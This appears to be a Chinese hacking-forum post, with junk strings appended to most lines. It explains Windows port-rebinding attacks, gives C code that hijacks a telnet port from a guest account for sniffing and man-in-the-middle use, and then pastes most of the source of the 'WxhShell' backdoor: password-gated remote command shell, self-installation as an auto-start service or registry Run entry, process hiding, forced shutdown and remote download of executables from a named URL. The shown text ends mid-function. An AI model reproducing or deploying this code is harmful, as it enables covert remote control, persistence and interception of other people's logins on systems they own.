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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (_-z m)F7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,Hj=]e2?  
=&}dP%3LC)  
  saddr.sin_family = AF_INET; C:P,q6  
'<XG@L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x>Q#Bvy  
OF DPtJwV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6oJ~Jdn'  
L0uN|?}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iCw~4KG  
N$_Rzh"9rr  
  这意味着什么?意味着可以进行如下的攻击: Pb[wysy  
eqjl$QWPJS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HYpB]<F  
Ng;E]2"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Kb4u)~S:  
j_ :4_zdBy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c()F%e:n  
ot,<iE#za  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jQ 7RH/?_  
,gRsbC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zx`hutCv  
5GpR N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |yQ3H)qB#  
T_I"Tsv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rY($+O@a<  
yQCfn1a)  
  #include (obeEH5J  
  #include Pm;"Y!S<  
  #include qW7S<ouh  
  #include    t ZF G`'/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l} h<2  
  int main() ], ' n!:>  
  { tQUp1i{j\  
  WORD wVersionRequested; mJ Wl#3  
  DWORD ret; 5v>(xl  
  WSADATA wsaData; CXJ0N   
  BOOL val; XlB`Z81j  
  SOCKADDR_IN saddr; 9-)oA+$  
  SOCKADDR_IN scaddr; @\[&_DZ  
  int err; rX fQ_  
  SOCKET s; ~M43#E[oOF  
  SOCKET sc; Po=)jkW  
  int caddsize; :^?ZVi59j  
  HANDLE mt; dkRJ^~  
  DWORD tid;   ,uuQj]Dac+  
  wVersionRequested = MAKEWORD( 2, 2 ); >*Y~I0>  
  err = WSAStartup( wVersionRequested, &wsaData ); Ks8S^77  
  if ( err != 0 ) { y?CEV-3+  
  printf("error!WSAStartup failed!\n"); bYgrKz@uK  
  return -1; ;gK+AU  
  } Y;xVB" (  
  saddr.sin_family = AF_INET; 2+sNt6B2  
   [KVBT;q6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3MNo&0M9  
K}&|lCsb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |DwI%%0(F  
  saddr.sin_port = htons(23); :T5l0h-eC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TP'EdzAT  
  { N/qr}- 3z  
  printf("error!socket failed!\n"); 7evE;KL  
  return -1; 1ncY"S/VO  
  } `:-{8Vo7  
  val = TRUE; qyp"q{k0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?9OiF-:n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9~ K 1+%!  
  { 7W5FHZd'  
  printf("error!setsockopt failed!\n"); l?pZdAE  
  return -1; H2E!A2\m  
  } 2/E3~X7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "'^#I_*Mf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z[ZqQ` 7N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D(@#Gd\Z@  
1EyM,$On  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B9>3xxp(by  
  { {S'xZ._=  
  ret=GetLastError(); ,*@m<{DX)  
  printf("error!bind failed!\n"); `:}GE@]  
  return -1; f|1y?w?I  
  } bo0m/hVU  
  listen(s,2); dAm( uJ  
  while(1) m%qah>11  
  { *&% kkbA  
  caddsize = sizeof(scaddr); n;xtUw6 \  
  //接受连接请求 & WYIfx{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h<$Vry}  
  if(sc!=INVALID_SOCKET) :G9.}VrU  
  { N$6Rg1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *G.6\  
  if(mt==NULL) 600-e;p  
  { !FA^~  
  printf("Thread Creat Failed!\n"); %K\_gR}V  
  break; D ( <_1  
  } *h-_   
  } lJ62[2=V  
  CloseHandle(mt); 9V0iV5?(P  
  } cr27q6_  
  closesocket(s); @Vr?)_ 0  
  WSACleanup(); B+`m  
  return 0; AVZ-g/<  
  }   V+nqQ~pJ&  
  DWORD WINAPI ClientThread(LPVOID lpParam) - 9UQs.Nv  
  { G!ty@ Fx  
  SOCKET ss = (SOCKET)lpParam; ;E,%\<  
  SOCKET sc; 6*A S4l  
  unsigned char buf[4096]; sG%Q?&-  
  SOCKADDR_IN saddr; Qx>S>f  
  long num; j;=+5PY  
  DWORD val; ^; Nu\c  
  DWORD ret; B;SYO>.W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >/.-N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b* no.eB  
  saddr.sin_family = AF_INET; JcvWE $  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $Dxz21|P7  
  saddr.sin_port = htons(23); qq]ZkT}   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?>*i8*  
  { <*i '  
  printf("error!socket failed!\n"); ?}D@{%O3T  
  return -1; CSN]k)\N(  
  } K=;z&E=<c  
  val = 100; JpvE c!cli  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %?' jyK  
  { 1 xm8w$%  
  ret = GetLastError(); po}Jwx!  
  return -1;  5%mc|  
  } ; dPyhR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n-be8p)-  
  { |bk.gh  
  ret = GetLastError(); oP$NTy[  
  return -1; VC:.ya|Z  
  } ryy".'v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $z"3_4a  
  { zqh.U @  
  printf("error!socket connect failed!\n"); 6 D_3Hwrs  
  closesocket(sc); g""1f%U_p  
  closesocket(ss); 5`53lK.C  
  return -1; h.gj4/g  
  } <5?.s< y$"  
  while(1) 3R1v0  
  { 8_US.52V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &> tmzlww  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *.#d'~+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nsQx\Tnhx  
  num = recv(ss,buf,4096,0); Zg "g/I.+d  
  if(num>0) e|Rd#  
  send(sc,buf,num,0); 3qR%Mf'  
  else if(num==0) Z& e_yl  
  break; qn}4PVn4  
  num = recv(sc,buf,4096,0); ~W p>tnl  
  if(num>0) Tp2`eY5  
  send(ss,buf,num,0); |j($2.  
  else if(num==0) u )cc  
  break; JE9SPFQx9M  
  } M >#kfSF+  
  closesocket(ss); 3e+ Ih2  
  closesocket(sc); d%FD =wm  
  return 0 ; tu8n1W  
  } th]1> .  
o,dO.isgh>  
\yP\@cpY{  
========================================================== ;L (dmx?  
{XAm3's  
下边附上一个代码,,WXhSHELL T{-<G13  
MA1.I4dm  
========================================================== Qxr&zT7f  
.G8+D%%.  
#include "stdafx.h" SC/|o  
I/:M~ b  
#include <stdio.h> <pJeiMo  
#include <string.h> r!A1Sfo4P  
#include <windows.h> L6S!?t.{Yv  
#include <winsock2.h> 32j@6!  
#include <winsvc.h> ,)-7f|  
#include <urlmon.h> j_ i/h "  
Gzy"$t  
#pragma comment (lib, "Ws2_32.lib") \1x<bx/1  
#pragma comment (lib, "urlmon.lib") SKO*x^"eU  
J;"66ue(d  
#define MAX_USER   100 // 最大客户端连接数 +72[*_ <  
#define BUF_SOCK   200 // sock buffer P?D;BAP2  
#define KEY_BUFF   255 // 输入 buffer w;f$oT  
v53qpqc  
#define REBOOT     0   // 重启 92zo+bc  
#define SHUTDOWN   1   // 关机 \0. c_  
,FWC|uM"  
#define DEF_PORT   5000 // 监听端口 !##OQ  
)"SP >2}  
#define REG_LEN     16   // 注册表键长度 \H <k  
#define SVC_LEN     80   // NT服务名长度 mhTi{t_fHM  
kaybi 0  
// 从dll定义API b3Nr>(Z<}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ipy1tXc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cbsU!8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `x%( n@g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L O)&|9xw  
N pu#.)G  
// wxhshell配置信息 o \ss  
struct WSCFG { R Ptc \4  
  int ws_port;         // 监听端口 dk}T&qZ~p  
  char ws_passstr[REG_LEN]; // 口令 a W1y0  
  int ws_autoins;       // 安装标记, 1=yes 0=no Buazm3q8H  
  char ws_regname[REG_LEN]; // 注册表键名 9em?2'ysa  
  char ws_svcname[REG_LEN]; // 服务名 =/_tQR~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M A9Oi(L)K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H<6TN^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M3>c?,O)J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %=C49(/K_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _; 7{1n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @JFfyQ {-  
+-8S,Rg@   
}; |"7F`M96I  
2|2'?  
// default Wxhshell configuration iIZDtZFF  
struct WSCFG wscfg={DEF_PORT, % Q| >t~  
    "xuhuanlingzhe", btb$C  
    1, ^Bkwbj  
    "Wxhshell", x+1Cs$E;  
    "Wxhshell", s+9q`k^  
            "WxhShell Service", A}./ ;[  
    "Wrsky Windows CmdShell Service", g>g]qQ  
    "Please Input Your Password: ", }ZPO^4H;-  
  1, ?ks3K-.4  
  "http://www.wrsky.com/wxhshell.exe", ,\t:R1.  
  "Wxhshell.exe" A:{PPjs%LA  
    }; wOfx7D  
}cl~Vo-mp  
// 消息定义模块 ~3 ,>TV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6.uyY@Yx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \U(;%V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u1@&o9  
char *msg_ws_ext="\n\rExit."; 6p;G~,bd~  
char *msg_ws_end="\n\rQuit."; CJn{tP  
char *msg_ws_boot="\n\rReboot..."; 6oh\#v3zV  
char *msg_ws_poff="\n\rShutdown..."; +>v3&[lGv  
char *msg_ws_down="\n\rSave to "; `,-w+3?Al  
0[\^Y<ec  
char *msg_ws_err="\n\rErr!"; 701mf1a  
char *msg_ws_ok="\n\rOK!"; 7FQ&LF46  
aicvu(%EE  
char ExeFile[MAX_PATH]; ]6:|-x:m  
int nUser = 0; HUP~  
HANDLE handles[MAX_USER]; nU^-D1s{  
int OsIsNt; .m r& zq  
%9^^X6yLM  
SERVICE_STATUS       serviceStatus; %MA o<,ha  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *wvd[q h  
H K]-QTEn  
// 函数声明 t[dOWgHi  
int Install(void); !+<OED=qe  
int Uninstall(void); iZ^tLnc  
int DownloadFile(char *sURL, SOCKET wsh); -k4w$0)  
int Boot(int flag); O)2==_f\  
void HideProc(void); }jfOs(Q]  
int GetOsVer(void); 1" k_l.\,0  
int Wxhshell(SOCKET wsl); =sp5.-r  
void TalkWithClient(void *cs); }fS`jq;  
int CmdShell(SOCKET sock); -l:4I6-hi  
int StartFromService(void); sf7~hN*  
int StartWxhshell(LPSTR lpCmdLine); j3W)  
\/wbk`2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 26e.Hu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IasWm/  
-za+Wa`vH  
// 数据结构和表定义 `rWT^E@p5m  
SERVICE_TABLE_ENTRY DispatchTable[] =  Zk={3Y  
{ ?KB+2]7m6  
{wscfg.ws_svcname, NTServiceMain}, k}0Y&cT!rU  
{NULL, NULL} nq/SGo[c  
}; kWSei3  
9"g!J|+  
// 自我安装 e >6NO  
int Install(void) $ ;J:kd;<  
{ -;1nv:7Z3  
  char svExeFile[MAX_PATH]; 8@)4)+e  
  HKEY key; U8>M`e"D  
  strcpy(svExeFile,ExeFile); -ff@W m  
$2kZM4  
// 如果是win9x系统,修改注册表设为自启动 D#.N)@\  
if(!OsIsNt) { (m~gG|n4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lTR/o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K/;*.u`:  
  RegCloseKey(key); c}-WK*v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %v"qFYVX"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .='hYe.  
  RegCloseKey(key); VoGyjGt&  
  return 0; j,Vir"-)  
    } =[ +)T[  
  } <@](uWu  
} OL2 b  
else { 5ns.||%k  
O:J;zv\  
// 如果是NT以上系统,安装为系统服务 8q"C=t7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rf4}4ixkj  
if (schSCManager!=0) 4iPxtVT  
{ TIIwq H+h.  
  SC_HANDLE schService = CreateService -qDM(zR  
  ( qt.Y6s:r_  
  schSCManager, l`b%imX  
  wscfg.ws_svcname, A.|98*U%  
  wscfg.ws_svcdisp, y88lkV4a  
  SERVICE_ALL_ACCESS, DxvD 1u   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O={ ?c1i:  
  SERVICE_AUTO_START, ,UA-Pq3 }  
  SERVICE_ERROR_NORMAL, 5;:964Et  
  svExeFile, |%tI!RN):  
  NULL, |9;MP&68  
  NULL, D&]dlY@*  
  NULL, abczW[\  
  NULL, BIn7<.&  
  NULL Cu,#w3JR  
  ); IV]2#;OO?  
  if (schService!=0) |WUm;o4E`U  
  { [CAV"u)0  
  CloseServiceHandle(schService); lD]/Kx  
  CloseServiceHandle(schSCManager); =JM !`[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \1H~u,a  
  strcat(svExeFile,wscfg.ws_svcname); rE5q BEh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a(|,KWHn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G@+AB*Eu  
  RegCloseKey(key); vq_v;$9}  
  return 0; eN Y?  
    } 0'nY  
  } ns}"[44C}l  
  CloseServiceHandle(schSCManager); /)LI1\ o  
}  dl;  
} Rb=8(#  
g#b uy  
return 1; n>["h2  
} gyx4='Q  
FaVeP%v  
// 自我卸载 tMQz'3,X  
int Uninstall(void) 6~b]RZe7  
{ 4Bc<  
  HKEY key; 6*Y>Y&sea  
++ZtL\h{7  
if(!OsIsNt) { [Dou%\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '<v_YxEn  
  RegDeleteValue(key,wscfg.ws_regname); `*to( )  
  RegCloseKey(key); bo%v(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { leMcY6  
  RegDeleteValue(key,wscfg.ws_regname); e9e7_QG_-  
  RegCloseKey(key); Z/hk)GI  
  return 0; RxZ#`$F  
  } tUR9ti  
} +CF"Bm8@  
} Js( "H  
else { 8fI&-uP{g  
|m5 E%E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fL7u419=  
if (schSCManager!=0) zC[lPABQ  
{ {#Vck\&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )rP)-op|A  
  if (schService!=0) C"=^ (HU  
  { pHpHvSI  
  if(DeleteService(schService)!=0) { >*"6zR2 o  
  CloseServiceHandle(schService); m=7Z8@sX},  
  CloseServiceHandle(schSCManager); >tFv&1iR  
  return 0; "BAH=ul5E  
  } =cN! h"C[  
  CloseServiceHandle(schService); 7KzMa%=  
  } 1; "t8.*%e  
  CloseServiceHandle(schSCManager); /V% ]lmxQ  
} ]|y]?7  
} ,& ^vc_}  
yXdJ5Me(T  
return 1; 8!c#XMHV  
} Qn*a#]p  
3n=`SLj/a  
// 从指定url下载文件 ;N FTdP  
int DownloadFile(char *sURL, SOCKET wsh) e~wJO~  
{ L`!M3c@u  
  HRESULT hr; }}VB#   
char seps[]= "/"; s.)nS $  
char *token; j+>#.22+  
char *file; Rt{`v<  
char myURL[MAX_PATH]; {MaFv  
char myFILE[MAX_PATH]; +&p}iZp  
p`i_s(u  
strcpy(myURL,sURL); <%2A, Vz"  
  token=strtok(myURL,seps); v GT#BS%  
  while(token!=NULL) 08!pLE  
  { Ve1O<i  
    file=token; 3/w) mY-o  
  token=strtok(NULL,seps); nnZ|oEF  
  } 1M4I7 *r  
<$\En[u0  
GetCurrentDirectory(MAX_PATH,myFILE); c<8RRYs  
strcat(myFILE, "\\"); }5)sS}C  
strcat(myFILE, file); "^~>aVuXf  
  send(wsh,myFILE,strlen(myFILE),0); u{o!j7  
send(wsh,"...",3,0); \9S&j(I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +Y^_1  
  if(hr==S_OK) *1Lkde@|{  
return 0; $1CAfSgKw  
else r`THOj\cM  
return 1; S&C  
!U@?Va~Zn  
} +U%U3tAvs  
z'G~b[kG4n  
// 系统电源模块 +N9(o+UrU  
int Boot(int flag) 8qEK6-  
{ O!b >  
  HANDLE hToken; GYD`  
  TOKEN_PRIVILEGES tkp; "))G|+tz  
(L)tC*Qjc  
  if(OsIsNt) { !zw)! rV=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1!x-_h}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7DU"QeLeb  
    tkp.PrivilegeCount = 1; 9M)N2+hkZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :(,Eq?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dnby&-+T  
if(flag==REBOOT) { WH.5vrY Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u"%i3%Yjh  
  return 0; TB]B l.  
} f3 lKdXnP  
else { n=vW oU9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C} #:<Jx  
  return 0; U20G{%%  
} |(e`V  
  } 3 ;F=EMz{  
  else { vG'JMzAm  
if(flag==REBOOT) { W*q[f!@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -ISI!EU$  
  return 0; FDB^JH9d  
} Bf Lh%XC  
else { *g^U=t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `}s$cgEG  
  return 0; 6#+&_ #9  
} Xj;nh?\u  
} xz FV]  
3_Su5~^  
return 1; Kq|L: Z  
} Q(-:)3g[aL  
3A_7R-sQ  
// win9x进程隐藏模块 T jO}P\p  
void HideProc(void) fiSc\C~  
{ R$@|t?  
}bG|(Wp9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~y+QL{P4~  
  if ( hKernel != NULL ) +_gPZFpbx  
  { bz[+g,e2oA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r >:7)p!|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n&=3Knbd@d  
    FreeLibrary(hKernel); +I0?D  
  } 1(`>9t02/?  
7d?'~}j  
return; 00'R1q4  
} iWu$$IV?-  
Akf?BB3bC  
// 获取操作系统版本 7WG"_A~V  
int GetOsVer(void) B*A{@)_  
{ i,BE]w  
  OSVERSIONINFO winfo; l6.z-Qw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B98&JoS  
  GetVersionEx(&winfo); w%Tcx^:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PNLtpixZ  
  return 1; qG=9zp4y?Y  
  else k9`Bi`wp  
  return 0; :tY ;K2wDM  
} [k(oQykq  
4"fiEt,t<x  
// 客户端句柄模块 6X5`npf  
int Wxhshell(SOCKET wsl) m M!H}|  
{ Wa%Zt*7  
  SOCKET wsh; m]J Z@  
  struct sockaddr_in client; yw`xK2(C$  
  DWORD myID; oJw~g [  
:e:jILQ[  
  while(nUser<MAX_USER) +rbj%v}Fh  
{ Sc;WraEn2  
  int nSize=sizeof(client); EoqUFa,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uYAPGs#k  
  if(wsh==INVALID_SOCKET) return 1; rxQn[  
w `6qT3v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @a) x^d  
if(handles[nUser]==0) T<06y3sN  
  closesocket(wsh); IB:Wh;_x  
else ,2vPmff  
  nUser++; k.>*!l0  
  } ce&)djC7U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j8?z@iG  
P& C,EE$  
  return 0; RG|]Kt8  
} $QmP' <  
Asicf{HaX  
// 关闭 socket EZ*FGt6(  
void CloseIt(SOCKET wsh) l@nkR&4[  
{ K~OfC  
closesocket(wsh); /o#!9H   
nUser--; *xXa4HB  
ExitThread(0); O`U&0lKi'  
} fD#|C~:=  
n.p6+^ES  
// 客户端请求句柄 {`BC$V  
void TalkWithClient(void *cs) 'WkDp a  
{ l~Je ]Qt  
;LNFPo   
  SOCKET wsh=(SOCKET)cs; Gd1%6}<~  
  char pwd[SVC_LEN]; *_}|EuY  
  char cmd[KEY_BUFF]; C"_f3[Z  
char chr[1]; t<sg8U.  
int i,j; o&)O&bNJ  
Xjc{={@p3  
  while (nUser < MAX_USER) { \^vf`-uG  
'm9f:iTr  
if(wscfg.ws_passstr) { F@4XORO;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 12v5*G[X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +J3 0OT8  
  //ZeroMemory(pwd,KEY_BUFF); .g_B KeU  
      i=0; <n< @ O5  
  while(i<SVC_LEN) { |BhfW O8p  
1C(6.7l  
  // 设置超时 ~>zml1aJ6  
  fd_set FdRead; }C.M4{a\  
  struct timeval TimeOut; V`?2g_4N  
  FD_ZERO(&FdRead); FCTz>N^p  
  FD_SET(wsh,&FdRead); uhvmh  
  TimeOut.tv_sec=8; )[Bwr bn  
  TimeOut.tv_usec=0; `X]TIMc:Ad  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^l;nBD#nJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); | iEhe  
qW[p .jN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fBS`b[ x  
  pwd=chr[0]; jca7Cx`sm  
  if(chr[0]==0xd || chr[0]==0xa) { 68?oV)fE  
  pwd=0; FDM&rQ  
  break; }yCJ#}  
  } +hL+3`TD#H  
  i++; C-4NiXa  
    } R[ p. )F7  
x;" !  
  // 如果是非法用户,关闭 socket 2MwR jh_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -]c5**O}  
} iaO;i1K5U  
xxOo8+kA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #=/eu=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Buoo~  
V_jVVy30Ji  
while(1) { V!G&Aen  
bA\TuB  
  ZeroMemory(cmd,KEY_BUFF); +cv7]  
OJ$169@;  
      // 自动支持客户端 telnet标准    {n}6  
  j=0; (x,w/1  
  while(j<KEY_BUFF) { (UmoG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3`_jNPV1  
  cmd[j]=chr[0]; 9frP`4<)  
  if(chr[0]==0xa || chr[0]==0xd) { 33x3zEUt6  
  cmd[j]=0; % INRds  
  break; o<P@:}K  
  } b3}928!D-@  
  j++; 3;=nQ{0b  
    } x bF*4;^SI  
G|FF  
  // 下载文件 x][vd^iW  
  if(strstr(cmd,"http://")) { i$[wgvJIV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); = aSHb[hO  
  if(DownloadFile(cmd,wsh)) [Z6]$$!#2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9)7.} uY  
  else 7?j$Lwt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6W$ #`N>  
  } {V%ZOdg9  
  else { Ge$cV}  
8[5%l7's  
    switch(cmd[0]) { q]q(zUtU  
  <b"ynoM.A  
  // 帮助 vc o/h  
  case '?': {  =Run  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hKjvD.6]%  
    break; cAC2Xq  
  } w~M5)b  
  // 安装 ; iQ@wOL]  
  case 'i': { 7t` <`BY^  
    if(Install()) Mp; t?C4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )a,-Hc:Vz  
    else w=\Lw+X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6u/3"A]'  
    break; :/ns/~5xa:  
    } VZYd CZ&l7  
  // 卸载 ih2H~c>O  
  case 'r': { :Y y+%  
    if(Uninstall()) wQb")3dw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L':;Vv~-  
    else gm8L5c V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T*\'G6e  
    break; gd.P%KC!g  
    } 9C[3w[G~C  
  // 显示 wxhshell 所在路径 /4 RKA!W  
  case 'p': { ^SxB b,\  
    char svExeFile[MAX_PATH]; LYGFE jS[  
    strcpy(svExeFile,"\n\r"); -`]B4Nt6  
      strcat(svExeFile,ExeFile); JoKD6Q1D  
        send(wsh,svExeFile,strlen(svExeFile),0); rj$u_y3S*  
    break; RmO-".$yt  
    } s7O?)f f  
  // 重启 RoM'+1nP:#  
  case 'b': { PmvTCfsg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); INW8Q`[F  
    if(Boot(REBOOT)) Sl^HMO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mb3,!  
    else { 6 )0$UW  
    closesocket(wsh); g Gg8O? Z  
    ExitThread(0); $k@reN9  
    } [sFD-2y  
    break; " FcA:7+  
    } #1z}~1-  
  // 关机 "6 dC  
  case 'd': { 5 LhFD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o&rejj#  
    if(Boot(SHUTDOWN)) =4 &9!Z  
